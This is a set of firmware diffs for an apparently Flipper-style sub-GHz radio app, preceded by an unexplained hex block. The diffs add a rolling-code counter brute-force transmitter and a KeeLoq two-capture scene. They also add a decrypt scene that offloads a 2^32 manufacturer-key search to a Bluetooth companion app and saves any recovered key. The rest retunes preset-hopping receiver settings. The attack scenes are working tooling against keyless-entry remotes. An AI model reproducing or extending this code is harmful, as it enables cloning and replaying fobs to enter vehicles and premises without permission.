F546BFA436AC20207F604E7634B6B30BBA4AA8047E7E72041FF023E9BFCA8D48219740033478EE52FC2CA9ED69F6B1AF
E54DE969B061414A725483E3455923112462408DD43D221E7651F245DD9AECAA
5E8A5BB037F8F6FF326190B9A3E6D5D0ED268D2F6EA77DAAE3E6FC2FC60AE46E
5E4457C2A8CD8A9EC4EB16F674775D2F27AD91E7D0ED4A58E42F0C8FB2195F52
E802E4FD33685950082F2CC510B5BD5D394FAADF7B88107F8C6BD1B30EFA5951
A8C339432E43C41206417FE5C5341B6063D011EC682914247939000741A4325E
97A26AAA3AA268F2271563B10173228C9CE67DE0872E7D6088B40D2B43599AA0
452F34AA2ACB42D23BF801CBC2B9956C3DFED71B34672BA0D09D20CBC5B6AE5E
AD473E39707EFECEC634A84099CF8BB05B9307390EAABFDF54901936E265F9EC
E946D1047A519101DB2B4FA48939049E869D43E54AD34A2E314E67BA86D4D577
7FCE70BF03798364ECD144909FB344FFC3C66A34AE5CBC230D970423A5412ED0
0BF57416D2600E332F14737333A7FB7D8327B96B98F217B620B3080F61F2DFEB
8D77033A47064B6D304C29E61FD3497CECE0CB0BE1305A0A5C418479FA142CA7
ACDA2BB920997BF6BAA1BFFD1300BCDCE0117C81DBFAA986A2DD9820287D853E

View File

@@ -40,3 +40,8 @@ Version: 1
#Custom_preset_name: AM_2
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
# Presets used for preset hopping mode (cycles through these modulations)
#Hopping_Preset: AM650
#Hopping_Preset: FM238
#Hopping_Preset: FM476

View File

@@ -30,4 +30,6 @@ ADD_SCENE(subghz, protocol_list, ProtocolList)
ADD_SCENE(subghz, keeloq_keys, KeeloqKeys)
ADD_SCENE(subghz, keeloq_key_edit, KeeloqKeyEdit)
ADD_SCENE(subghz, psa_decrypt, PsaDecrypt)
ADD_SCENE(subghz, keeloq_decrypt, KeeloqDecrypt)
ADD_SCENE(subghz, keeloq_bf2, KeeloqBf2)
ADD_SCENE(subghz, counter_bf, CounterBf)

View File

@@ -19,7 +19,7 @@ typedef struct {
uint32_t step;
CounterBfState state;
uint32_t packets_sent;
uint32_t tick_wait; // ticks remaining before next TX
uint32_t tick_wait;
} CounterBfContext;
#define CounterBfEventStart (0xC0)
@@ -27,7 +27,6 @@ typedef struct {
static void counter_bf_widget_callback(GuiButtonType result, InputType type, void* context) {
SubGhz* subghz = context;
// Single press toggles start/stop
if(result == GuiButtonTypeCenter && type == InputTypeShort) {
view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventStart);
}
@@ -36,37 +35,59 @@ static void counter_bf_widget_callback(GuiButtonType result, InputType type, voi
static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
widget_reset(subghz->widget);
FuriString* str = furi_string_alloc();
furi_string_printf(str,
furi_string_printf(
str,
"WARNING: THIS MAY BE DESYNC YOUR FOB\n"
"Counter BruteForce\n"
"Cnt: 0x%08lX\n"
"Sent: %lu pkts\n"
"Start: 0x%08lX",
"Start: 0x%08lX\n"
"Sent: %lu",
ctx->current_cnt,
ctx->packets_sent,
ctx->start_cnt);
ctx->start_cnt,
ctx->packets_sent);
widget_add_string_multiline_element(
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary,
furi_string_get_cstr(str));
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary, furi_string_get_cstr(str));
furi_string_free(str);
const char* btn_label = ctx->state == CounterBfStateRunning ? "Stop" : "Start";
widget_add_button_element(
subghz->widget, GuiButtonTypeCenter, btn_label,
counter_bf_widget_callback, subghz);
subghz->widget,
GuiButtonTypeCenter,
btn_label,
counter_bf_widget_callback,
subghz);
}
static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
// Escribir el Cnt final directamente en el archivo .sub en disco.
// No usar subghz_save_protocol_to_file() porque ese serializa el estado
// actual del encoder (que puede tener el Cnt ya incrementado internamente).
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
if(!flipper_format_update_uint32(file_fff, "Cnt", &ctx->current_cnt, 1)) {
FURI_LOG_E(TAG, "Failed to update Cnt in .sub file");
}
} else {
FURI_LOG_E(TAG, "Failed to open .sub file for Cnt write");
}
flipper_format_free(file_fff);
furi_record_close(RECORD_STORAGE);
}
static void counter_bf_send(SubGhz* subghz, CounterBfContext* ctx) {
// Stop any previous TX
subghz_txrx_stop(subghz->txrx);
// Use official counter override mechanism
subghz_block_generic_global_counter_override_set(ctx->current_cnt);
// Increase repeat for stronger signal
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint32_t repeat = 20;
flipper_format_insert_or_update_uint32(fff, "Repeat", &repeat, 1);
subghz_block_generic_global.endless_tx = false;
uint32_t repeat = 20;
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Repeat", &repeat, 1);
// Actualizar Cnt DESPUES de Repeat (update es secuencial en el buffer)
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Cnt", &ctx->current_cnt, 1);
subghz_tx_start(subghz, fff);
ctx->packets_sent++;
@@ -81,20 +102,36 @@ void subghz_scene_counter_bf_on_enter(void* context) {
ctx->state = CounterBfStateIdle;
ctx->step = 1;
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
uint32_t cnt = 0;
flipper_format_rewind(fff);
flipper_format_read_uint32(fff, "Cnt", &cnt, 1);
ctx->current_cnt = cnt;
ctx->start_cnt = cnt;
// FIX: Leer el Cnt DIRECTAMENTE del archivo en disco con un FlipperFormat
// propio, completamente separado del fff en memoria (que puede tener el Cnt
// modificado por TXs previas y no refleja el estado real del .sub).
{
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
uint32_t cnt = 0;
if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
ctx->current_cnt = cnt;
ctx->start_cnt = cnt;
} else {
FURI_LOG_W(TAG, "Cnt field not found in file");
}
} else {
FURI_LOG_E(TAG, "Failed to open .sub file for Cnt read");
}
flipper_format_free(file_fff);
furi_record_close(RECORD_STORAGE);
}
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneCounterBf, (uint32_t)(uintptr_t)ctx);
// Disable auto-increment
// Deshabilitar auto-increment del protocolo para controlar el Cnt manualmente
furi_hal_subghz_set_rolling_counter_mult(0);
// Reload protocol to ensure preset and tx_power are properly configured
// Recargar el protocolo DESPUES de haber leído el Cnt del disco,
// para preparar el fff para TX sin que pise nuestro valor leído.
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
counter_bf_draw(subghz, ctx);
@@ -110,16 +147,17 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == CounterBfEventStart) {
if(ctx->state != CounterBfStateRunning) {
// Start
ctx->state = CounterBfStateRunning;
ctx->tick_wait = 0;
subghz->state_notifications = SubGhzNotificationStateTx;
counter_bf_send(subghz, ctx);
} else {
// Stop
// FIX 2: Al detener, guardar el contador actual en el .sub
// para que al volver a emular manualmente continúe desde acá.
ctx->state = CounterBfStateStopped;
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
counter_bf_save(subghz, ctx);
}
counter_bf_draw(subghz, ctx);
return true;
@@ -130,7 +168,6 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
if(ctx->tick_wait > 0) {
ctx->tick_wait--;
} else {
// Time to send next packet
ctx->current_cnt += ctx->step;
counter_bf_send(subghz, ctx);
counter_bf_draw(subghz, ctx);
@@ -138,16 +175,11 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
}
return true;
} else if(event.type == SceneManagerEventTypeBack) {
subghz_block_generic_global.endless_tx = false;
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
// Save counter to file
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Cnt", &ctx->current_cnt, 1);
subghz_save_protocol_to_file(
subghz, fff, furi_string_get_cstr(subghz->file_path));
// FIX 2 (también en Back): guardar siempre al salir
counter_bf_save(subghz, ctx);
furi_hal_subghz_set_rolling_counter_mult(1);
free(ctx);
@@ -160,6 +192,5 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
void subghz_scene_counter_bf_on_exit(void* context) {
SubGhz* subghz = context;
widget_reset(subghz->widget);
subghz_block_generic_global.endless_tx = false;
subghz->state_notifications = SubGhzNotificationStateIDLE;
}

View File

@@ -0,0 +1,222 @@
#include "../subghz_i.h"
#include <lib/subghz/protocols/keeloq.h>
#include <dialogs/dialogs.h>
enum {
KlBf2IndexLoadSig1,
KlBf2IndexLoadSig2,
KlBf2IndexStartBf,
};
static bool kl_bf2_extract_key(SubGhz* subghz, uint32_t* out_fix, uint32_t* out_hop) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint8_t key_data[8] = {0};
if(!flipper_format_read_hex(fff, "Key", key_data, 8)) return false;
*out_fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
((uint32_t)key_data[2] << 8) | key_data[3];
*out_hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
((uint32_t)key_data[6] << 8) | key_data[7];
return true;
}
static bool kl_bf2_is_keeloq(SubGhz* subghz) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
FuriString* proto = furi_string_alloc();
bool ok = flipper_format_read_string(fff, "Protocol", proto) &&
furi_string_equal_str(proto, "KeeLoq");
furi_string_free(proto);
return ok;
}
static void kl_bf2_submenu_callback(void* context, uint32_t index) {
SubGhz* subghz = context;
view_dispatcher_send_custom_event(subghz->view_dispatcher, index);
}
static bool kl_bf2_load_signal(SubGhz* subghz, FuriString* out_path) {
DialogsFileBrowserOptions browser_options;
dialog_file_browser_set_basic_options(
&browser_options, SUBGHZ_APP_FILENAME_EXTENSION, &I_sub1_10px);
browser_options.base_path = SUBGHZ_APP_FOLDER;
FuriString* selected = furi_string_alloc();
furi_string_set(selected, SUBGHZ_APP_FOLDER);
bool res = dialog_file_browser_show(subghz->dialogs, selected, selected, &browser_options);
if(res) {
res = subghz_key_load(subghz, furi_string_get_cstr(selected), true);
if(res) {
furi_string_set(out_path, selected);
}
}
furi_string_free(selected);
return res;
}
static void kl_bf2_rebuild_menu(SubGhz* subghz) {
submenu_reset(subghz->submenu);
char label1[64];
char label2[64];
if(subghz->keeloq_bf2.sig1_loaded) {
FuriString* name = furi_string_alloc();
path_extract_filename(subghz->keeloq_bf2.sig1_path, name, true);
snprintf(label1, sizeof(label1), "Sig 1: %s", furi_string_get_cstr(name));
furi_string_free(name);
} else {
snprintf(label1, sizeof(label1), "Load Signal 1");
}
if(subghz->keeloq_bf2.sig2_loaded) {
FuriString* name = furi_string_alloc();
path_extract_filename(subghz->keeloq_bf2.sig2_path, name, true);
snprintf(label2, sizeof(label2), "Sig 2: %s", furi_string_get_cstr(name));
furi_string_free(name);
} else {
snprintf(label2, sizeof(label2), "Load Signal 2");
}
submenu_add_item(
subghz->submenu, label1, KlBf2IndexLoadSig1,
kl_bf2_submenu_callback, subghz);
submenu_add_item(
subghz->submenu, label2, KlBf2IndexLoadSig2,
kl_bf2_submenu_callback, subghz);
if(subghz->keeloq_bf2.sig1_loaded && subghz->keeloq_bf2.sig2_loaded) {
submenu_add_item(
subghz->submenu, "Start BF", KlBf2IndexStartBf,
kl_bf2_submenu_callback, subghz);
}
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdMenu);
}
void subghz_scene_keeloq_bf2_on_enter(void* context) {
SubGhz* subghz = context;
subghz->keeloq_bf2.sig1_loaded = false;
subghz->keeloq_bf2.sig2_loaded = false;
kl_bf2_rebuild_menu(subghz);
}
bool subghz_scene_keeloq_bf2_on_event(void* context, SceneManagerEvent event) {
SubGhz* subghz = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KlBf2IndexLoadSig1) {
FuriString* path = furi_string_alloc();
if(kl_bf2_load_signal(subghz, path)) {
if(!kl_bf2_is_keeloq(subghz)) {
dialog_message_show_storage_error(
subghz->dialogs, "Not a KeeLoq\nprotocol file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
uint32_t fix, hop;
if(!kl_bf2_extract_key(subghz, &fix, &hop)) {
dialog_message_show_storage_error(
subghz->dialogs, "Cannot read Key\nfrom file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
subghz->keeloq_bf2.fix = fix;
subghz->keeloq_bf2.hop1 = hop;
subghz->keeloq_bf2.serial = fix & 0x0FFFFFFF;
subghz->keeloq_bf2.sig1_loaded = true;
furi_string_set(subghz->keeloq_bf2.sig1_path, path);
subghz->keeloq_bf2.sig2_loaded = false;
}
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
} else if(event.event == KlBf2IndexLoadSig2) {
if(!subghz->keeloq_bf2.sig1_loaded) {
dialog_message_show_storage_error(
subghz->dialogs, "Load Signal 1 first");
kl_bf2_rebuild_menu(subghz);
return true;
}
FuriString* path = furi_string_alloc();
if(kl_bf2_load_signal(subghz, path)) {
if(!kl_bf2_is_keeloq(subghz)) {
dialog_message_show_storage_error(
subghz->dialogs, "Not a KeeLoq\nprotocol file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
uint32_t fix2, hop2;
if(!kl_bf2_extract_key(subghz, &fix2, &hop2)) {
dialog_message_show_storage_error(
subghz->dialogs, "Cannot read Key\nfrom file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
uint32_t serial2 = fix2 & 0x0FFFFFFF;
if(serial2 != subghz->keeloq_bf2.serial) {
dialog_message_show_storage_error(
subghz->dialogs, "Serial mismatch!\nMust be same remote");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
if(hop2 == subghz->keeloq_bf2.hop1) {
dialog_message_show_storage_error(
subghz->dialogs, "Same hop code!\nUse a different\ncapture");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
subghz->keeloq_bf2.hop2 = hop2;
subghz->keeloq_bf2.sig2_loaded = true;
furi_string_set(subghz->keeloq_bf2.sig2_path, path);
}
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
} else if(event.event == KlBf2IndexStartBf) {
if(!subghz->keeloq_bf2.sig1_loaded || !subghz->keeloq_bf2.sig2_loaded) {
return true;
}
if(!subghz_key_load(
subghz,
furi_string_get_cstr(subghz->keeloq_bf2.sig1_path),
true)) {
dialog_message_show_storage_error(
subghz->dialogs, "Cannot reload\nSignal 1");
kl_bf2_rebuild_menu(subghz);
return true;
}
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
return true;
}
}
return false;
}
void subghz_scene_keeloq_bf2_on_exit(void* context) {
SubGhz* subghz = context;
submenu_reset(subghz->submenu);
}

View File

@@ -0,0 +1,259 @@
#include "../subghz_i.h"
#include <lib/subghz/protocols/keeloq.h>
#include <lib/subghz/protocols/keeloq_common.h>
#include <furi.h>
#include <bt/bt_service/bt.h>
#define KL_DECRYPT_EVENT_DONE (0xD2)
#define KL_TOTAL_KEYS 0x100000000ULL
#define KL_MSG_BF_REQUEST 0x10
#define KL_MSG_BF_PROGRESS 0x11
#define KL_MSG_BF_RESULT 0x12
#define KL_MSG_BF_CANCEL 0x13
typedef struct {
SubGhz* subghz;
volatile bool cancel;
uint32_t start_tick;
bool success;
FuriString* result;
uint32_t fix;
uint32_t hop;
uint32_t serial;
uint8_t btn;
uint16_t disc;
uint32_t hop2;
uint64_t recovered_mfkey;
uint16_t recovered_type;
bool ble_offload;
} KlDecryptCtx;
static void kl_ble_data_received(uint8_t* data, uint16_t size, void* context) {
KlDecryptCtx* ctx = context;
if(size < 1 || ctx->cancel) return;
if(data[0] == KL_MSG_BF_PROGRESS && size >= 10) {
uint32_t keys_tested, keys_per_sec;
memcpy(&keys_tested, data + 2, 4);
memcpy(&keys_per_sec, data + 6, 4);
uint32_t elapsed_sec = (furi_get_tick() - ctx->start_tick) / 1000;
uint32_t remaining = (keys_tested > 0) ? (0xFFFFFFFFU - keys_tested) : 0xFFFFFFFFU;
uint32_t eta_sec = (keys_per_sec > 0) ? (remaining / keys_per_sec) : 0;
uint8_t pct = (uint8_t)((uint64_t)keys_tested * 100 / 0xFFFFFFFFULL);
subghz_view_keeloq_decrypt_update_stats(
ctx->subghz->subghz_keeloq_decrypt, pct, keys_tested, keys_per_sec, elapsed_sec, eta_sec);
} else if(data[0] == KL_MSG_BF_RESULT && size >= 26) {
uint8_t found = data[1];
uint64_t mfkey = 0;
uint64_t devkey = 0;
uint32_t cnt = 0;
uint32_t elapsed_ms = 0;
memcpy(&mfkey, data + 2, 8);
memcpy(&devkey, data + 10, 8);
memcpy(&cnt, data + 18, 4);
memcpy(&elapsed_ms, data + 22, 4);
if(found) {
uint16_t learn_type = (size >= 27) ? data[26] : 6;
furi_string_printf(
ctx->result,
"Key FOUND!\n"
"MfKey:%08lX%08lX\n"
"DevKey:%08lX%08lX\n"
"Cnt:%04lX Sn:%07lX\n"
"Saved to user keys",
(uint32_t)(mfkey >> 32), (uint32_t)(mfkey & 0xFFFFFFFF),
(uint32_t)(devkey >> 32), (uint32_t)(devkey & 0xFFFFFFFF),
cnt, ctx->serial);
FlipperFormat* fff = subghz_txrx_get_fff_data(ctx->subghz->txrx);
flipper_format_rewind(fff);
char mf_str[20];
snprintf(mf_str, sizeof(mf_str), "BF_%07lX", ctx->serial);
flipper_format_insert_or_update_string_cstr(fff, "Manufacture", mf_str);
uint32_t cnt_val = cnt;
flipper_format_rewind(fff);
flipper_format_insert_or_update_uint32(fff, "Cnt", &cnt_val, 1);
ctx->recovered_mfkey = mfkey;
ctx->recovered_type = learn_type;
ctx->success = true;
}
view_dispatcher_send_custom_event(ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_DONE);
}
}
static void kl_ble_cleanup(KlDecryptCtx* ctx) {
if(!ctx->ble_offload) return;
Bt* bt = furi_record_open(RECORD_BT);
bt_set_custom_data_callback(bt, NULL, NULL);
furi_record_close(RECORD_BT);
ctx->ble_offload = false;
}
static bool kl_ble_start_offload(KlDecryptCtx* ctx) {
Bt* bt = furi_record_open(RECORD_BT);
if(!bt_is_connected(bt)) {
furi_record_close(RECORD_BT);
return false;
}
bt_set_custom_data_callback(bt, kl_ble_data_received, ctx);
uint8_t req[18];
req[0] = KL_MSG_BF_REQUEST;
req[1] = 0;
memcpy(req + 2, &ctx->fix, 4);
memcpy(req + 6, &ctx->hop, 4);
memcpy(req + 10, &ctx->hop2, 4);
memcpy(req + 14, &ctx->serial, 4);
bt_custom_data_tx(bt, req, sizeof(req));
furi_record_close(RECORD_BT);
ctx->ble_offload = true;
subghz_view_keeloq_decrypt_set_status(
ctx->subghz->subghz_keeloq_decrypt, "[BT] Offloading...");
return true;
}
static void kl_decrypt_view_callback(SubGhzCustomEvent event, void* context) {
SubGhz* subghz = context;
view_dispatcher_send_custom_event(subghz->view_dispatcher, event);
}
void subghz_scene_keeloq_decrypt_on_enter(void* context) {
SubGhz* subghz = context;
KlDecryptCtx* ctx = malloc(sizeof(KlDecryptCtx));
memset(ctx, 0, sizeof(KlDecryptCtx));
ctx->subghz = subghz;
ctx->result = furi_string_alloc_set("No result");
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint8_t key_data[8] = {0};
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
ctx->fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
((uint32_t)key_data[2] << 8) | key_data[3];
ctx->hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
((uint32_t)key_data[6] << 8) | key_data[7];
}
ctx->serial = ctx->fix & 0x0FFFFFFF;
ctx->btn = ctx->fix >> 28;
ctx->disc = ctx->serial & 0x3FF;
ctx->hop2 = subghz->keeloq_bf2.sig2_loaded ? subghz->keeloq_bf2.hop2 : 0;
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt, (uint32_t)(uintptr_t)ctx);
subghz_view_keeloq_decrypt_reset(subghz->subghz_keeloq_decrypt);
subghz_view_keeloq_decrypt_set_callback(
subghz->subghz_keeloq_decrypt, kl_decrypt_view_callback, subghz);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
ctx->start_tick = furi_get_tick();
if(!kl_ble_start_offload(ctx)) {
char msg[128];
snprintf(msg, sizeof(msg),
"No BLE connection!\n"
"Connect companion app\n"
"and try again.\n\n"
"Fix:0x%08lX\nHop:0x%08lX",
ctx->fix, ctx->hop);
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, false, msg);
}
}
bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event) {
SubGhz* subghz = context;
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
if(!ctx) return false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KL_DECRYPT_EVENT_DONE) {
kl_ble_cleanup(ctx);
subghz->keeloq_bf2.sig1_loaded = false;
subghz->keeloq_bf2.sig2_loaded = false;
if(ctx->success) {
subghz_save_protocol_to_file(
subghz,
subghz_txrx_get_fff_data(subghz->txrx),
furi_string_get_cstr(subghz->file_path));
if(!subghz->keeloq_keys_manager) {
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
}
char key_name[24];
snprintf(key_name, sizeof(key_name), "BF_%07lX", ctx->serial);
subghz_keeloq_keys_add(
subghz->keeloq_keys_manager,
ctx->recovered_mfkey,
ctx->recovered_type,
key_name);
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, true, furi_string_get_cstr(ctx->result));
} else if(!ctx->cancel) {
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, false,
"Key NOT found.\nNo matching key in\n2^32 search space.");
} else {
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, false, "Cancelled.");
}
return true;
} else if(event.event == SubGhzCustomEventViewTransmitterBack) {
if(ctx->ble_offload) {
Bt* bt = furi_record_open(RECORD_BT);
uint8_t cancel_msg = KL_MSG_BF_CANCEL;
bt_custom_data_tx(bt, &cancel_msg, 1);
furi_record_close(RECORD_BT);
kl_ble_cleanup(ctx);
}
ctx->cancel = true;
furi_string_free(ctx->result);
free(ctx);
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt, 0);
scene_manager_previous_scene(subghz->scene_manager);
return true;
}
}
return false;
}
void subghz_scene_keeloq_decrypt_on_exit(void* context) {
SubGhz* subghz = context;
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
if(ctx) {
kl_ble_cleanup(ctx);
ctx->cancel = true;
furi_string_free(ctx->result);
free(ctx);
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKeeloqDecrypt, 0);
}
}

View File

@@ -1,5 +1,4 @@
#include "../subghz_i.h"
#include <math.h>
#include <dolphin/dolphin.h>
#include <lib/subghz/protocols/bin_raw.h>
@@ -214,11 +213,12 @@ void subghz_scene_receiver_on_enter(void* context) {
} else {
subghz_txrx_hopper_set_state(subghz->txrx, SubGhzHopperStateOFF);
}
subghz_txrx_mod_hopper_set_running(
subghz->txrx,
!isnan(subghz->last_settings->mod_hopping_threshold),
(uint8_t)subghz->last_settings->mod_hopping_dwell,
subghz->last_settings->mod_hopping_threshold);
if(subghz->last_settings->enable_preset_hopping) {
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateRunning);
} else {
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
}
subghz_txrx_rx_start(subghz->txrx);
subghz_view_receiver_set_idx_menu(subghz->subghz_receiver, subghz->idx_menu_chosen);
@@ -247,6 +247,7 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) {
subghz->state_notifications = SubGhzNotificationStateIDLE;
subghz_txrx_stop(subghz->txrx);
subghz_txrx_hopper_set_state(subghz->txrx, SubGhzHopperStateOFF);
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
subghz_txrx_set_rx_callback(subghz->txrx, NULL, subghz);
if(subghz_rx_key_state_get(subghz) == SubGhzRxKeyStateAddKey) {
@@ -307,9 +308,8 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) {
subghz_txrx_hopper_update(subghz->txrx, subghz->last_settings->hopping_threshold);
subghz_scene_receiver_update_statusbar(subghz);
}
if(subghz_txrx_mod_hopper_get_running(subghz->txrx)) {
float rssi = subghz_txrx_radio_device_get_rssi(subghz->txrx);
subghz_txrx_mod_hopper_update(subghz->txrx, rssi);
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) != SubGhzPresetHopperStateOFF) {
subghz_txrx_preset_hopper_update(subghz->txrx, subghz->last_settings->preset_hopping_threshold);
subghz_scene_receiver_update_statusbar(subghz);
}

View File

@@ -6,9 +6,9 @@
enum SubGhzSettingIndex {
SubGhzSettingIndexFrequency,
SubGhzSettingIndexHopping,
SubGhzSettingIndexModulation,
SubGhzSettingIndexModHopping,
SubGhzSettingIndexHopping,
SubGhzSettingIndexPresetHopping,
SubGhzSettingIndexBinRAW,
SubGhzSettingIndexIgnoreReversRB2,
SubGhzSettingIndexIgnoreAlarms,
@@ -82,18 +82,22 @@ const float hopping_mode_value[HOPPING_MODE_COUNT] = {
-40.0f,
};
#define MOD_HOP_DBM_COUNT 8
const char* const mod_hop_dbm_text[MOD_HOP_DBM_COUNT] = {
#define PRESET_HOPPING_MODE_COUNT 12
const char* const preset_hopping_mode_text[PRESET_HOPPING_MODE_COUNT] = {
"OFF",
"-90",
"-85",
"-80",
"-75",
"-70",
"-65",
"-60",
"-90dBm",
"-85dBm",
"-80dBm",
"-75dBm",
"-70dBm",
"-65dBm",
"-60dBm",
"-55dBm",
"-50dBm",
"-45dBm",
"-40dBm",
};
const float mod_hop_dbm_value[MOD_HOP_DBM_COUNT] = {
const float preset_hopping_mode_value[PRESET_HOPPING_MODE_COUNT] = {
NAN,
-90.0f,
-85.0f,
@@ -102,22 +106,10 @@ const float mod_hop_dbm_value[MOD_HOP_DBM_COUNT] = {
-70.0f,
-65.0f,
-60.0f,
};
#define MOD_HOP_TIME_COUNT 5
const char* const mod_hop_time_text[MOD_HOP_TIME_COUNT] = {
"0.5s",
"1s",
"2s",
"5s",
"10s",
};
const uint32_t mod_hop_time_ticks[MOD_HOP_TIME_COUNT] = {
5,
10,
20,
50,
100,
-55.0f,
-50.0f,
-45.0f,
-40.0f,
};
#define COMBO_BOX_COUNT 2
@@ -192,6 +184,23 @@ uint8_t subghz_scene_receiver_config_next_preset(const char* preset_name, void*
return index;
}
uint8_t subghz_scene_receiver_config_preset_hopper_value_index(void* context) {
furi_assert(context);
SubGhz* subghz = context;
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateOFF) {
return 0;
} else {
variable_item_set_current_value_text(
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexModulation),
" -----");
return value_index_float(
subghz->last_settings->preset_hopping_threshold,
preset_hopping_mode_value,
PRESET_HOPPING_MODE_COUNT);
}
}
uint8_t subghz_scene_receiver_config_hopper_value_index(void* context) {
furi_assert(context);
SubGhz* subghz = context;
@@ -252,19 +261,21 @@ static void subghz_scene_receiver_config_set_preset(VariableItem* item) {
uint8_t index = variable_item_get_current_value_index(item);
SubGhzSetting* setting = subghz_txrx_get_setting(subghz->txrx);
const char* preset_name = subghz_setting_get_preset_name(setting, index);
variable_item_set_current_value_text(item, preset_name);
//subghz->last_settings->preset = index;
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
uint8_t* preset_data = subghz_setting_get_preset_data(setting, index);
size_t preset_data_size = subghz_setting_get_preset_data_size(setting, index);
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateOFF) {
const char* preset_name = subghz_setting_get_preset_name(setting, index);
variable_item_set_current_value_text(item, preset_name);
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
uint8_t* preset_data = subghz_setting_get_preset_data(setting, index);
size_t preset_data_size = subghz_setting_get_preset_data_size(setting, index);
//Edit TX power, if necessary.
subghz_txrx_set_tx_power(preset_data, preset_data_size, subghz->tx_power);
subghz_txrx_set_tx_power(preset_data, preset_data_size, subghz->tx_power);
subghz_txrx_set_preset(
subghz->txrx, preset_name, preset.frequency, preset_data, preset_data_size);
subghz->last_settings->preset_index = index;
subghz_txrx_set_preset(
subghz->txrx, preset_name, preset.frequency, preset_data, preset_data_size);
subghz->last_settings->preset_index = index;
} else {
variable_item_set_current_value_index(item, subghz->last_settings->preset_index);
}
}
